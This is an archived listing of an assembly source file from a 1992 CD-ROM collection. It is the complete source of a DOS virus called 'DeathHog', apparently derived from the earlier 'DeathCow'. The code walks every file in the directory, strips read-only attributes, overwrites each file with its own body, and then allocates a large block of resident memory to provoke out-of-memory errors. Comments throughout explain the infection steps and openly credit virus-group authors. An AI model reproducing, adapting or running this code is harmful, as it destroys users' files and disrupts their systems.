home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DHOG.ASM < prev    next >
Assembly Source File  |  1992-07-08  |  2KB  |  65 lines

  1. ; DeathHog, (will defeat read-only files and appends itself to all
  2. ; files)
  3. ; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ 
  4. ; r/w access, nuisance routines supplied by KOUCH
  5. ;
  6. ; Appended by Kouch, derived from DeathCow/Define (author unknown)
  7.  
  8.  
  9. virus_length    equ     finish - start
  10.  
  11.     code    segment 'CODE'
  12.         assume cs:code,ds:code,es:code,ss:code
  13.  
  14.         org     0100h
  15.  
  16. start           label   near
  17.  
  18. main            proc    near
  19.         mov     ah,04Eh                 ; DOS find first file function
  20.         mov     dx,offset file_spec      ; DX points to "*.*" - any file
  21.         int     021h
  22.  
  23. infect_file :   mov     ah,43H                 ;the beginning of this
  24.         mov     al,0                   ;routine gets the file's
  25.         mov     dx,09Eh                ;attribute and changes it
  26.         int     21H                    ;to r/w access so that when
  27.                            ;it comes time to open the
  28.         mov     ah,43H                 ;file, the virus can easily
  29.         mov     al,1                   ;defeat files with a 'read only'
  30.         mov     dx,09Eh                ;attribute. It leaves the file r/w,
  31.         mov     cl,0                   ;because who checks that, anyway?
  32.         int     21H
  33.         
  34.         mov     ax,03D01h              ; DOS open file function, write-only
  35.         mov     dx,09Eh                ; DX points to the found file
  36.         int     021h
  37.  
  38.         xchg    bx,ax                  ; BX holds file handle
  39.  
  40.         mov     ah,040h                ; DOS write to file function
  41.         mov     cl,virus_length        ; CL holds # of bytes to write
  42.         mov     dx,offset main         ; DX points to start of code
  43.         int     021h
  44.  
  45.         mov     ah,03Eh                ; DOS close file function
  46.         int     021h
  47.  
  48.         mov     ah,04Fh                 ; DOS find next file function
  49.         int     021h
  50.         jnc     infect_file             ; Infect next file, if found
  51.  
  52.         mov     ah,31h                  ;insert 480K memory balloon
  53.         mov     dx,7530h                ;for nuisance value
  54.         int     21H                     ;it's big enough so 'out of
  55.                         ;memory' messages will start cropping up quickly
  56.                            ; RETurn to DOS
  57.  
  58. file_spec       db      "*.*",0               ; Files to infect:  apped to all files
  59. main            endp
  60.  
  61. finish          label   near
  62.  
  63.     code    ends
  64.         end     main
  65.